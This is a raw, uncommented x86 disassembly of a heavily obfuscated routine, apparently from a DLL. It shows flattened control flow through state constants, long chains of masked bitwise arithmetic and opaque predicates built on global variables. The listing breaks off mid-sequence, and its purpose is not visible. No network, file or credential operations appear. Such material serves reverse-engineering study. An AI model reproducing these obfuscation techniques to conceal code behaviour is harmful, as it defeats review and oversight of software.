mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ah, al
and ah, dl
mov cl, al
xor cl, ah
xor ah, 1
or ah, dl
xor ah, 1
or ah, cl
mov cl, ah
xor cl, 1
and cl, ah
xor cl, 1
mov dl, ah
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov edx, eax
xor dl, cl
and dl, al
or al, ah
xor dl, 1
mov dh, dl
xor dh, al
or dl, al
xor dl, 1
or dl, dh
mov al, dl
xor al, 1
and ah, al
and dl, cl
or dl, ah
xor dl, 1
or dl, al
mov ah, dl
xor ah, 1
mov cl, ch
xor cl, 1
mov al, cl
and al, ch
xor al, 1
mov dh, al
xor dh, cl
or al, cl
xor al, 1
or al, dh
mov dh, ah
and dh, dl
xor dh, 1
or dh, dl
xor dh, 1
or dh, ah
xor dh, 1
xor al, 1
mov ah, al
xor ah, dh
or al, dh
and al, ah
xor cl, dl
mov ah, cl
or ah, ch
and cl, dl
or dl, ch
xor cl, 1
mov ch, cl
xor ch, dl
or cl, dl
xor cl, 1
or cl, ch
xor cl, 1
mov dl, ah
or dl, cl
xor dl, 1
xor cl, ah
or cl, dl
mov ch, cl
xor ch, 1
mov ah, ch
and ah, cl
mov dl, ah
xor dl, 1
and ah, dl
xor ah, 1
mov dh, ah
xor dh, dl
or ah, dl
xor ah, 1
or ah, dh
mov dh, ah
xor dh, 1
and dh, cl
and ah, ch
or dl, ch
xor dl, 1
or dl, ah
or dl, dh
mov dh, dl
xor dh, 1
mov ah, dh
and ah, dl
xor ah, 1
mov ch, dh
xor ch, ah
mov cl, dh
or cl, ah
xor cl, 1
or cl, ch
mov ch, al
xor ch, 1
or ah, dl
mov dl, cl
xor ah, 1
or ah, dh
xor cl, ch
and ch, al
xor ch, 1
mov dh, al
xor dh, ch
or ch, al
xor ch, 1
or ch, dh
xor ch, ah
xor dl, 1
or dl, al
xor dl, 1
or cl, dl
mov al, ch
xor al, cl
xor al, 1
or cl, ch
mov edx, eax
xor dl, cl
test al, 1
mov edi, 0x7a6ffaeb
mov eax, 0x899e7b38
cmovne edi, eax
test cl, 1
cmovne edi, eax
not dl
test dl, 1
mov eax, 0x7a6ffaeb
cmove edi, eax
jmp 0x10011930
cmp edi, 0xb150e919
je 0x1002cd79
cmp edi, 0xb9859636
jne 0x10011930
mov eax, dword [0x1004f908]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov esi, ecx
mov dword [esp + 4], ecx
not esi
mov dword [esp + 8], esi
mov edx, esi
and edx, 0x7011480a
and eax, 0x22012c0
or eax, edx
xor eax, 0x22012c0
mov edi, esi
and edi, 0x8dcea535
or edi, eax
mov edx, edi
not edx
and edi, 0x26185d62
and edx, 0xd9e7a29d
or edx, edi
mov edi, edx
xor edi, 0xd9e7a29d
mov eax, esi
and eax, 0xd555ad51
and ecx, 0x2aaa52ae
or ecx, eax
xor ecx, 0xd555ad51
or ecx, esi
mov ebp, edx
xor ebp, 0x26185d62
mov eax, ebp
or eax, edi
xor edx, 0x3c9aa63b
and edx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xe57d04a6
mov ebx, ecx
xor ebx, 0x1a82fb59
and ebx, eax
or ebx, esi
xor ebx, edx
mov edx, edi
and edx, 0x57741833
and ebp, 0xa88be7cc
or ebp, edx
or edi, eax
and eax, 0x57741833
and ecx, 0xa88be7cc
or ecx, eax
mov eax, dword [esp + 4]
mov dword [esp], eax
xor ecx, ebp
not edi
or edi, ecx
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x302261c8
and ebx, 0xcfdd9e37
or ebx, ecx
mov ecx, edi
not ecx
or eax, edi
and edi, 0x302261c8
and ecx, 0xcfdd9e37
or ecx, edi
xor ecx, ebx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
or edx, 0xc080209
mov esi, eax
or esi, 0x5034c442
and esi, 0x5c3cc64b
and ecx, 0xa0820934
or ecx, esi
and edx, 0x5c3cc64b
and eax, 0x3413080
or eax, edx
xor eax, ecx
mov ecx, eax
xor ecx, 0x5375f4c2
xor eax, 0xac8a0b3d
mov edx, eax
or edx, 0xfffffffe
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, eax
not ecx
mov esi, edx
or edx, ecx
and ecx, 0xf4d8ba05
and eax, 0xb2745fa
or eax, ecx
mov ecx, dword [esp + 4]
mov edi, ecx
xor edi, 0xa50f2703
and edi, ecx
and esi, 0xf4d8ba05
xor eax, esi
not edx
or edx, eax
mov eax, edx
not eax
and edx, 0xff5db798
and eax, 0xa24867
or eax, edx
mov esi, eax
xor esi, 0x224067
xor eax, 0xbe5ca100
and eax, 0xbedca900
and esi, 0x412356ff
or esi, eax
mov ebp, dword [esp + 8]
mov eax, ebp
and eax, 0x800c0100
mov edx, dword [esp]
and edx, 0x25032603
or edx, eax
mov ebx, edx
xor ebx, 0x25012202
xor edx, 0xdafcd9fc
mov eax, edx
and eax, 0xc2eadde1
and ebx, 0x25052202
or ebx, eax
mov eax, edi
not eax
or edx, eax
and eax, 0xc2eadde1
and edi, 0x3d15221e
or edi, eax
mov eax, ecx
xor eax, 0x389a8f2b
and eax, ecx
mov dword [esp + 0x10], eax
mov eax, ecx
xor edi, ebx
mov ebx, edx
not ebx
or ebx, edi
mov ecx, ebx
xor ecx, 0x5220c86d
xor ebx, 0xa50f2702
mov edx, ebx
and edx, 0x28d83792
and ecx, 0xd727c86d
or ecx, edx
and eax, 0x28d83792
mov edx, ebp
and edx, 0xd727c86d
or edx, eax
mov edi, esi
xor edi, 0x412356ff
mov dword [esp + 4], edi
xor edx, ecx
xor ebx, edx
and ebx, edx
mov eax, ebx
mov edx, esi
xor edx, 0xbedca900
mov dword [esp + 0x20], edx
mov ebp, edi
or ebp, 0xc60e6887
mov ecx, ebp
and ecx, 0x8456585d
and edx, 0x39a18720
or edx, ecx
xor esi, 0x78d2c187
and esi, edi
mov ecx, esi
not ecx
or ebp, ecx
and ecx, 0x8456585d
and esi, 0x7ba9a7a2
or esi, ecx
xor esi, edx
not ebp
or ebp, esi
mov edi, eax
not edi
mov ecx, edi
and ecx, 0x42103406
mov edx, eax
and edx, 0xa5404041
or edx, ecx
xor edx, 0xa5404041
mov dword [esp], eax
mov esi, eax
xor esi, 0xe7507447
and esi, eax
or esi, edx
mov eax, ebp
xor eax, 0xc60e6887
mov dword [esp + 0xc], eax
mov eax, esi
xor eax, 0x18af8bb8
xor ebp, 0x39f19778
xor esi, 0xe7507447
mov dword [esp + 0x18], eax
and eax, ebp
mov dword [esp + 0x14], eax
mov eax, ebp
mov ecx, ebp
or ebp, esi
mov edx, esi
and esi, dword [esp + 0xc]
and dword [esp + 0xc], 0x14c91ea
and eax, 0xfeb36e15
add eax, dword [esp + 0xc]
xor eax, 0x6b1e45d1
and ecx, 0x6a52d43b
or ecx, eax
and dword [esp + 4], 0x84fafbeb
mov ebx, dword [esp + 0x20]
mov eax, ebx
and eax, 0x7b050414
add eax, dword [esp + 4]
xor eax, 0x1157d02f
and ebx, 0x95ad2bc4
or ebx, eax
or edx, 0x60024423
mov eax, dword [esp + 0x18]
and eax, 0x40423c4
and edx, 0xf1ab4c23
or edx, eax
and dword [esp], 0x5361c8d3
mov eax, edi
and eax, 0xac9e372c
add eax, dword [esp]
xor eax, 0xc6cce317
and edi, 0x95ad2bc4
or edi, eax
mov dword [esp + 4], edx
xor edx, 0xe54b3dc
mov eax, edi
not eax
and eax, edx
mov dword [esp], eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x8c6f3ef3
mov dword [esp + 0xc], eax
xor ecx, 0x27e3ac63
and ecx, edx
mov eax, edx
and eax, 0x7390c10c
add eax, dword [esp + 0xc]
mov edx, eax
xor edx, 0x7390c10c
xor eax, 0x54736d6f
and eax, edx
or ecx, eax
mov eax, ebx
not eax
and eax, ebx
or edx, ebx
xor ebx, 0x27e3ac63
xor eax, ebx
mov ebx, eax
xor ebx, eax
not ebx
and ebx, ecx
xor ebx, eax
not edx
or edx, ebx
mov ecx, dword [esp + 4]
xor ecx, 0xf1ab4c23
mov eax, ecx
xor eax, edi
and eax, ecx
and edi, ecx
or edi, dword [esp]
or edi, eax
mov eax, edi
not eax
or eax, edx
not edx
or edx, edi
not eax
not edx
or edx, eax
not ebp
or esi, dword [esp + 0x14]
or esi, ebp
mov eax, esi
not eax
mov ecx, esi
and ecx, 0x68dd9d22
and eax, 0x972262dd
or eax, ecx
xor eax, 0x972262dd
or eax, esi
mov ecx, edx
not ecx
xor edx, ecx
and edx, eax
xor edx, ecx
or ecx, eax
mov esi, edx
not esi
mov eax, esi
and eax, 0x2b1aa582
and edx, 0xd4e55a7d
or edx, eax
xor edx, ecx
xor edx, 0xd4e55a7d
or esi, ecx
not esi
or esi, edx
mov ebx, esi
mov ecx, dword [esp + 8]
mov eax, dword [esp + 0x10]
or ecx, eax
not eax
and eax, 0xc76570d4
and ecx, 0x389a8f2b
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x55824e19
and eax, 0xaa7db1e6
or eax, ecx
mov edx, eax
xor edx, 0xaa7db1e6
xor eax, 0x10020209
and eax, 0x3a7a02ab
mov ecx, edx
and ecx, 0xc585fd54
or ecx, eax
mov esi, ecx
xor esi, 0xc585fd54
mov eax, ecx
xor eax, 0xd0add433
and eax, esi
and edx, 0x15282967
or edx, eax
mov eax, edx
xor eax, 0xea035610
xor ecx, 0x181a00a8
and ecx, 0xd91ec0ec
mov edi, esi
and edi, 0x26e13f13
or edi, ecx
xor edi, 0x26e13f13
or edi, esi
mov ecx, edi
not ecx
xor edx, 0x15282967
mov esi, edx
and esi, 0x11dc88e8
and eax, 0xee237717
or eax, esi
or edx, edi
and edi, 0x11dc88e8
and ecx, 0xee237717
or ecx, edi
xor ecx, eax
not edx
or edx, ecx
mov dword [esp + 4], ebx
mov ecx, ebx
not ecx
mov eax, ecx
mov ebp, ecx
and eax, 0x21a1f332
mov ecx, ebx
and ecx, 0xde5e0ccd
or ecx, eax
mov esi, ecx
xor esi, 0x905e0088
xor ecx, 0x2121f202
and ecx, 0x6f21fe47
and esi, 0x90de01b8
or esi, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x33ed298e
mov edi, edx
and edi, 0xcc12d671
or edi, ecx
mov ecx, esi
xor ecx, 0x23212806
xor esi, 0x80120030
and ecx, 0x33ed298e
and esi, 0xcc12d671
or esi, ecx
xor esi, edi
not esi
or esi, eax
and eax, 0x10a26b6b
and edx, 0xef5d9494
or edx, eax
mov eax, edx
xor eax, 0x69551080
xor edx, 0x820920
and edx, 0x868a8d34
and eax, 0x797572cb
or eax, edx
mov ebx, eax
xor ebx, 0x8a0800
xor eax, 0x4860324b
and eax, 0xce60b77f
and ebx, 0x319f4880
or ebx, eax
mov eax, ebx
xor eax, 0x319f4880
mov dword [esp + 8], ebp
and eax, ebp
xor ebx, 0xce60b77f
and ebx, dword [esp + 4]
or ebx, eax
not ebx
or ebx, ebp
mov ecx, ebx
not ecx
mov dword [esp + 0xc], ecx
mov eax, ebx
and eax, 0x7f8df69b
and ecx, 0x80720964
or ecx, eax
mov dword [esp], ecx
mov edx, esi
not edx
mov ebp, edx
or ebp, 0xf87b6435
mov edi, ebp
and edi, 0xee1342fb
mov ecx, esi
and ecx, 0x1849900
or ecx, edi
mov edi, esi
xor edi, 0xf87b6435
and edi, edx
mov eax, edi
not eax
or ebp, eax
and eax, 0xee1342fb
and edi, 0x11ecbd04
or edi, eax
xor edi, ecx
not ebp
or ebp, edi
mov eax, dword [esp]
mov edi, eax
xor edi, 0x80720964
xor eax, 0x7f8df69b
mov dword [esp], eax
or eax, 0xd05b6004
and eax, 0xd15b6bce
mov ecx, edi
and ecx, 0x6849000
or ecx, eax
or ebx, 0x1000bca
and ebx, 0xd15b6bce
mov eax, dword [esp + 0xc]
and eax, 0x28200431
or eax, ebx
xor eax, ecx
mov ebx, eax
xor ebx, eax
not ebx
and ebx, ebp
xor ebx, eax
mov eax, edx
and eax, 0x1a9281cc
and esi, 0xe56d7e33
or esi, eax
mov eax, dword [esp]
or edx, eax
and eax, 0x1a9281cc
and edi, 0xe56d7e33
or edi, eax
xor edi, esi
not edx
or edx, edi
not edx
or edx, ebx
mov ecx, dword [esp + 4]
mov eax, ecx
xor eax, 0x803d1ed0
and eax, ecx
mov esi, dword [esp + 8]
or esi, eax
not eax
and eax, 0x7fc2e12f
and esi, 0x803d1ed0
or esi, eax
mov ecx, edx
not ecx
not esi
mov eax, ecx
xor eax, esi
or esi, edx
not esi
and eax, edx
or eax, esi
not eax
and ecx, 0xaf218127
and edx, 0x50de7ed8
or edx, ecx
xor edx, 0x50de7ed8
or edx, eax
xor edx, 0x10732386
xor edx, 0xef8cdc79
setne ah
sete dh
cmp dword [0x1004f90c], 0xa
setge dl
setl ch
mov cl, ch
and cl, dl
xor cl, 1
mov al, dl
xor al, cl
or cl, dl
xor cl, 1
or al, cl
mov ebx, eax
xor bl, 1
and al, bl
xor al, 1
mov bh, bl
or bh, al
xor bh, 1
xor al, bl
or al, bh
mov ebx, eax
xor bl, 1
and bl, al
xor bl, 1
mov bh, bl
xor bh, al
or bl, al
xor bl, 1
or bl, bh
mov al, bl
xor al, 1
and al, bl
xor al, 1
mov bh, bl
xor bh, al
or al, bl
xor al, 1
or al, bh
mov ebx, eax
xor bl, 1
and bl, dh
and al, ah
or al, bl
or cl, ch
mov ebx, ecx
xor bl, dh
or cl, dh
and cl, bl
mov dh, dl
or dh, ah
xor dl, ah
or ah, ch
and dl, ch
xor dl, 1
mov ch, dl
xor ch, ah
or dl, ah
xor dl, 1
or dl, ch
mov ah, dl
and dl, dh
xor dh, 1
xor ah, 1
mov ch, dh
xor ch, ah
and ch, dh
and ah, dh
or ah, dl
or ah, ch
mov ch, ah
xor ch, 1
mov dl, ah
and dl, ch
xor dl, 1
or dl, ah
xor dl, 1
or dl, ch
mov ch, dl
xor ch, 1
mov ah, ch
and ah, dl
xor ah, 1
mov dh, dl
xor dh, ah
or ah, dl
xor ah, 1
or ah, dh
mov dh, ah
xor dh, 1
and ch, ah
and dh, dl
or dh, ch
xor ah, dh
and ah, dh
xor cl, 1
mov ch, cl
xor ch, ah
mov dl, ah
and dl, ch
xor ch, 1
and ch, ah
or cl, ah
xor ch, 1
mov ah, ch
xor ah, cl
or ch, cl
xor ch, 1
or ch, ah
xor dl, 1
mov cl, ch
xor cl, 1
or cl, dl
xor dl, ch
mov ah, dl
xor ah, cl
or dl, cl
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor cl, 1
mov ch, cl
or ch, ah
xor ch, 1
or ch, dl
mov dh, ah
xor dh, ch
or ch, ah
xor ch, 1
or ch, dh
mov dh, ch
xor dh, 1
mov ah, dh
mov bl, ch
and bl, dh
xor bl, 1
or bl, dh
xor dh, dl
or ah, dl
xor ah, 1
or ah, dh
mov dh, ah
xor dh, 1
xor bl, 1
or bl, ch
mov ch, dl
xor ch, cl
or cl, dl
xor cl, 1
or cl, ch
xor cl, bl
and ah, dh
xor ah, 1
mov dl, dh
xor dl, ah
or ah, dh
xor ah, 1
or ah, dl
xor ah, cl
mov dl, dh
xor dl, cl
or cl, dh
xor cl, 1
or cl, dl
mov dl, ah
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov edx, ecx
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
mov ah, cl
and ah, dl
xor ah, 1
or ah, dl
xor ah, 1
or ah, cl
mov cl, ah
xor cl, 1
and ah, cl
xor ah, 1
mov edx, ecx
xor dl, ah
or ah, cl
xor ah, 1
or ah, dl
mov cl, ah
xor cl, 1
mov edx, eax
xor dl, 1
and cl, ah
xor cl, 1
mov ch, ah
xor ch, cl
or cl, ah
xor cl, 1
or cl, ch
mov ah, cl
xor ah, 1
and cl, ah
xor cl, 1
mov ch, cl
xor ch, ah
or cl, ah
xor cl, 1
or cl, ch
mov ah, cl
xor ah, 1
mov ch, ah
and ch, cl
xor ch, 1
mov dh, cl
xor dh, ch
or ch, cl
xor ch, 1
or ch, dh
mov dh, al
and dh, dl
xor dh, 1
or dh, dl
xor dh, 1
or dh, al
mov bh, ah
and bh, al
mov bl, dl
and bl, cl
or bl, bh
xor bl, 1
or bl, al
mov bh, al
xor bh, ch
and bh, ch
xor ch, 1
mov al, ch
xor al, dh
or dh, ch
xor dh, 1
or dh, al
mov ch, dh
xor ch, 1
mov al, bh
xor al, 1
and bh, dh
and ch, al
or ch, bh
or al, dh
xor al, 1
or al, ch
mov ch, bl
xor ch, 1
or ah, dl
xor ah, 1
xor cl, dl
and cl, dl
or cl, ah
xor cl, 1
mov dl, ch
and dl, bl
xor dl, 1
or dl, bl
xor dl, 1
or dl, ch
xor dl, cl
or cl, bl
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ah, cl
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ch, dl
xor ch, 1
mov ah, al
xor ah, 1
mov cl, ch
and cl, dl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ch
xor ch, ah
and ch, dl
mov dh, cl
xor cl, 1
and cl, ah
or ah, dl
xor ch, 1
mov bl, ch
xor bl, ah
or ch, ah
xor ch, 1
or ch, bl
and dh, al
or cl, dh
or dl, al
not cl
mov eax, ecx
xor al, dl
or cl, dl
not cl
or cl, al
xor cl, ch
and cl, 1
mov eax, 0xead2154b
mov edx, 0xfea6904f
cmovne eax, edx
test cl, ch
mov edx, 0xead2154b
cmovne eax, edx
test cl, cl
mov edi, 0xead2154b
cmovne edi, eax
test cl, ch
cmove edi, eax
jmp 0x10011930
cmp edi, 0x4b513a84
je 0x1002cd90
cmp edi, 0x4d213096
jne 0x10011930
mov eax, dword [0x1004f908]
lea edx, [eax + 1]
imul edx, eax
mov esi, edx
not esi
mov ecx, edx
xor ecx, 0x31c2a43e
and ecx, edx
mov edi, edx
mov eax, esi
mov ebp, esi
mov dword [esp + 4], esi
or eax, ecx
not ecx
and ecx, 0xce3d5bc1
and eax, 0x31c2a43e
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x4a626b32
and ecx, 0xb59d94cd
or ecx, eax
mov edx, ecx
xor edx, 0xb59d94cd
xor ecx, 0x42404b10
and ecx, 0x57c05fd1
mov eax, edx
and eax, 0xa83fa02e
or eax, ecx
mov ecx, eax
xor ecx, 0xa83fa02e
mov esi, eax
xor esi, 0x5c42b816
and esi, ecx
or edx, esi
not esi
and esi, 0xb82e7c7
and edx, 0xf47d1838
or edx, esi
xor eax, 0x50804550
and eax, 0x78bee572
mov esi, ecx
and esi, 0x87411a8d
or esi, eax
xor esi, 0x87411a8d
or esi, ecx
not esi
or esi, edx
mov edx, esi
or edx, 0xfffffffe
mov eax, esi
not eax
xor esi, 1
mov ecx, edx
and ecx, 0x9910c95b
or edx, esi
and esi, 0x9910c95b
and eax, 0x66ef36a4
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov esi, edi
mov dword [esp], edi
mov ecx, edi
and ecx, 0xb10d9c4c
mov eax, ebp
and eax, 0x4ef263b3
or eax, ecx
mov edi, eax
xor edi, 0x4ef263b3
xor eax, 0xb10d9c4c
mov ecx, eax
or ecx, 0x1422438
and ecx, 0xc54234bf
mov ebx, edi
and ebx, 0x8a80240
or ebx, ecx
mov ecx, esi
or ecx, 0xc4001087
and ecx, 0xc54234bf
mov esi, ebp
and esi, 0x3215c900
or esi, ecx
xor esi, ebx
mov ebx, esi
xor ebx, 0x3357ed39
and eax, 0xf45ba310
and edi, 0xba45cee
or edi, eax
xor esi, 0xcca812c6
mov eax, esi
and eax, 0x10a6fa2
and ebx, 0xfef5905d
or ebx, eax
mov eax, edi
xor eax, 0xaa4104c
xor edi, 0xf45ba311
or esi, edi
and edi, 0x10a6fa2
and eax, 0xfef5905c
or eax, edi
mov ebp, edx
not ebp
xor eax, ebx
not esi
or esi, eax
mov edi, esi
not edi
mov eax, esi
and eax, edx
mov ebx, ebp
and ebx, edi
or ebx, eax
mov eax, ebx
xor eax, edx
and eax, ebx
mov dword [esp + 8], eax
mov eax, edx
and eax, 0x537bee0f
xor edx, 0x441244a
and edx, ebp
and ebp, 0xac8411f0
or ebp, eax
mov eax, esi
and eax, 0xb5f7103f
mov ebx, edi
and ebx, 0x4a08cb80
or ebx, eax
mov eax, ebp
xor eax, 0x1110
xor ebp, 0x533aca05
or ebp, 0x441244a
mov ecx, ebp
and ecx, 0xb8d50ae6
and eax, 0x432ad111
or eax, ecx
mov ecx, edx
not ecx
or ebp, ecx
and ecx, 0xb8d50ae6
and edx, 0x472af519
or edx, ecx
xor edx, eax
not ebp
or ebp, edx
mov eax, ebx
xor eax, 0x42004900
xor ebx, 0x90801010
or ebx, 0x4402040
and ebx, 0x9cc8b2d0
and eax, 0x63364925
or eax, ebx
or esi, 0x98889290
and esi, 0x9cc8b2d0
and edi, 0x1040a
or edi, esi
xor edi, eax
mov edx, edi
xor edx, edi
not edx
and edx, ebp
xor edx, edi
mov esi, dword [esp + 8]
mov ecx, esi
not ecx
mov eax, edx
not eax
and edx, ecx
or ecx, eax
and eax, esi
or eax, edx
mov esi, eax
not esi
mov edx, esi
and edx, 0xce80c556
and eax, 0x317f3aa9
or eax, edx
xor eax, ecx
xor eax, 0x317f3aa9
or esi, ecx
not esi
or esi, eax
mov edx, esi
not edx
mov ecx, edx
and ecx, 0xd672896a
mov eax, esi
and eax, 0x298d7695
or eax, ecx
mov ecx, eax
xor ecx, 0x28041400
xor eax, 0x82100002
mov edi, edx
or edi, 0x82910002
or eax, 0x108c00c
and eax, 0x8399c00e
and ecx, 0x78441d20
or ecx, eax
and edi, 0x8399c00e
mov eax, esi
and eax, 0x42222d1
or eax, edi
xor eax, ecx
mov edi, eax
xor edi, 0x4220291
mov ecx, edx
and ecx, 0x48a846fc
and esi, 0xb757b903
or esi, ecx
mov ebx, eax
xor ebx, 0xfad51d22
xor esi, 0xb757b903
xor edx, esi
and edx, esi
mov esi, edx
not esi
xor eax, 0x4e7307b3
and eax, ebx
and edi, 0xb4a61a91
or edi, eax
mov eax, edx
xor eax, 0x4b59e56e
and eax, esi
mov ebp, eax
not ebp
mov ecx, ebp
and ecx, 0x3ea1da0c
and eax, 0xc15e25f3
or eax, ecx
mov ecx, esi
or ecx, 0x4b59e56e
or ebp, ecx
and ecx, 0x3ea1da0c
and edx, 0x80060091
or edx, ecx
xor edx, eax
not ebp
or ebp, edx
xor ebp, edi
or esi, ebx
mov eax, esi
not eax
mov edx, ebp
not edx
mov ecx, edx
and ecx, 0x6e18d3f0
and ebp, 0x91e72c0f
or ebp, ecx
or edx, esi
and esi, 0x6e18d3f0
and eax, 0x91e72c0f
or eax, esi
xor eax, ebp
not edx
or edx, eax
mov esi, dword [esp + 4]
mov eax, esi
and eax, 0xa202bb95
mov edi, dword [esp]
mov ecx, edi
and ecx, 0x5dfd446a
or ecx, eax
mov eax, ecx
xor eax, 0x1010002
xor ecx, 0xa80
and ecx, 0x340ec8
and eax, 0x1012007
or eax, ecx
mov ecx, eax
xor ecx, 0x1010002
or ecx, 0xe8484120
xor eax, 0x3004c8
or esi, 0x202a8a
and edi, 0xec00d130
and esi, 0x12ea2a8a
or esi, edi
mov ebx, esi
xor ebx, 0x12820000
xor esi, 0xe9054120
and ecx, 0xe94d4b22
and eax, 0x3024cd
or eax, ecx
and esi, 0xe94d4b22
and ebx, 0x16829010
or ebx, esi
xor ebx, eax
mov ecx, ebx
not ecx
mov eax, ebx
xor eax, 0xe7e0994
and eax, ebx
or ebx, 0xf181f66b
mov esi, eax
not esi
mov edi, ebx
and edi, 0xe1aa4124
and ecx, 0xe540890
or ecx, edi
or ebx, esi
and esi, 0xe1aa4124
and eax, 0x1e55bedb
or eax, esi
xor eax, ecx
not ebx
or ebx, eax
mov eax, ebx
xor eax, 0xf0b4d8a4
mov edi, eax
mov eax, edx
not eax
mov dword [esp], eax
and eax, 0x903df30f
mov esi, edx
and esi, 0x6fc20cf0
or esi, eax
mov eax, ebx
xor eax, 0xf4b275b
mov dword [esp + 8], eax
and eax, 0x91432800
mov ecx, edi
mov ebp, edi
mov dword [esp + 0xc], edi
and ecx, 0xe140321
or ecx, eax
mov eax, ecx
xor eax, 0xc000220
xor ecx, 0xf1ebfcde
mov edi, ecx
and ecx, 0x431d955f
and eax, 0x9c422a20
or eax, ecx
xor ebx, 0x6fe3f385
and ebx, ebp
mov ecx, ebx
not ecx
or edi, ecx
and ecx, 0x431d955f
and ebx, 0xbce26aa0
or ebx, ecx
xor ebx, eax
not edi
or edi, ebx
mov ebx, esi
mov ecx, esi
xor ecx, 0x6fc20cf0
xor ebx, 0x903df30f
mov eax, ebx
mov dword [esp + 0x18], ebx
and eax, 0xf76e39d8
mov dword [esp + 4], edi
xor edi, 0x9f572b21
mov esi, ecx
xor esi, edi
and esi, ecx
mov dword [esp + 0x10], esi
mov ebp, edi
mov esi, edi
and edi, ecx
mov dword [esp + 0x14], edi
and ecx, 0x891c627
or ecx, eax
mov eax, ecx
xor eax, ebx
and eax, ecx
and edx, 0x1e3613ff
mov edi, dword [esp]
mov ecx, edi
and ecx, 0xe1c9ec00
or ecx, edx
xor ecx, 0x16a7d5d8
and edi, 0x891c627
or edi, ecx
mov dword [esp], edi
mov ecx, dword [esp + 4]
xor ecx, 0x60a8d4de
mov dword [esp + 4], ecx
and ecx, 0x2113daa7
and ebp, 0xdeec2558
or ebp, ecx
xor ebp, 0xd67de37f
and esi, 0xf76e39d8
or esi, ebp
mov ebx, dword [esp + 8]
or ebx, 0x800624
mov ecx, dword [esp + 0xc]
and ecx, 0x872e2940
and ebx, 0x70c016bc
or ebx, ecx
mov ecx, eax
not ecx
mov ebp, eax
xor ebp, 0x17b4f00e
and ebp, ecx
mov edx, ebp
not edx
mov edi, edx
and edi, 0xf51a1162
and ebp, 0xae5ee9d
or ebp, edi
mov edi, ecx
or edi, 0x17b4f00e
or edx, edi
and edi, 0xf51a1162
and eax, 0x8410e91
or eax, edi
xor eax, ebp
not edx
or edx, eax
mov eax, dword [esp]
xor edx, eax
or ecx, eax
mov eax, edx
xor eax, 0xa09c1
xor edx, 0x17b4f00e
mov edi, edx
and edi, 0xef61363c
and eax, 0x109ec9c3
or eax, edi
xor eax, ecx
or edx, ecx
xor eax, 0x109ec9c3
not edx
or edx, eax
mov eax, esi
not eax
mov ecx, esi
and ecx, 0x6eff252b
xor esi, 0xb513f7d1
and esi, eax
and eax, 0x9100dad4
or eax, ecx
mov ecx, eax
xor ecx, 0x9100dad4
mov dword [esp], ecx
xor eax, 0x24132d05
and eax, ecx
or esi, eax
mov ecx, ebx
mov eax, ebx
xor eax, 0x70c016bc
mov edi, ebx
xor ecx, 0x3a2c1e92
mov ebp, ecx
and ecx, eax
xor edi, 0x8f3fe943
and ebp, edi
mov eax, ebp
not eax
mov ebx, eax
and ebx, 0x65492618
and ebp, 0x922619e6
or ebp, ebx
mov ebx, ecx
not ebx
or eax, ebx
and ebx, 0x6dc92618
and ecx, 0x922619c0
or ecx, ebx
xor ecx, ebp
not eax
or eax, ecx
xor eax, esi
or edi, dword [esp]
not edi
or edi, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x8e9d7cc2
mov esi, edx
and esi, 0x7162833d
or esi, ecx
mov ecx, edi
not ecx
xor esi, ecx
xor esi, 0x7162833d
and esi, edi
and ecx, 0xfdeb54d9
and edi, 0x214ab26
or edi, ecx
xor edi, eax
xor edi, 0x214ab26
and edi, edx
mov edx, esi
not edx
mov eax, edx
and eax, 0xf83b3350
and esi, 0x7c4ccaf
or esi, eax
mov eax, edi
not eax
or edx, eax
and eax, 0xf83b3350
and edi, 0x7c4ccaf
or edi, eax
xor edi, esi
not edx
or edx, edi
mov eax, dword [esp + 4]
and eax, dword [esp + 0x18]
mov esi, dword [esp + 0x14]
or esi, eax
mov ebx, dword [esp + 0x10]
mov edi, ebx
not edi
mov eax, esi
not eax
mov ecx, edi
and ecx, 0xcc2e9539
and ebx, 0x33d16ac6
or ebx, ecx
or edi, eax
and eax, 0xcc2e9539
and esi, 0x33d16ac6
or esi, eax
xor esi, ebx
not edi
or edi, esi
mov ecx, edi
mov eax, edi
xor eax, 0x6486fc57
and eax, edi
not edi
xor ecx, 0x8680300
mov esi, ecx
or esi, 0x89180280
mov ebx, eax
not ebx
and esi, 0xa998b694
and edi, 0x44064843
or edi, esi
or ecx, ebx
and ebx, 0xa998b694
and eax, 0x5667496b
or eax, ebx
xor eax, edi
not ecx
or ecx, eax
not eax
and eax, 0x9b7903a8
and ecx, 0x6486fc57
or ecx, eax
mov eax, ecx
not eax
mov esi, eax
and esi, 0x865ec12f
and ecx, 0x79a13ed0
or ecx, esi
xor ecx, 0x79a13ed0
or ecx, eax
xor ecx, edx
and edx, ecx
not ecx
or ecx, edx
mov esi, ecx
not esi
mov edx, esi
and edx, 0x302c30da
mov eax, ecx
and eax, 0xcfd3cf25
or eax, edx
mov edx, eax
xor edx, 0x61aa8cc5
xor eax, 0xcfd3cf25
and eax, edx
mov edx, esi
and edx, 0xcacd6d61
and ecx, 0x3532929e
or ecx, edx
xor ecx, 0x9b4bd17e
xor esi, ecx
and esi, ecx
mov ebx, eax
not ebx
mov edx, ebx
and edx, 0x2ac92de5
mov ecx, eax
and ecx, 0xd536d21a
or ecx, edx
mov edi, esi
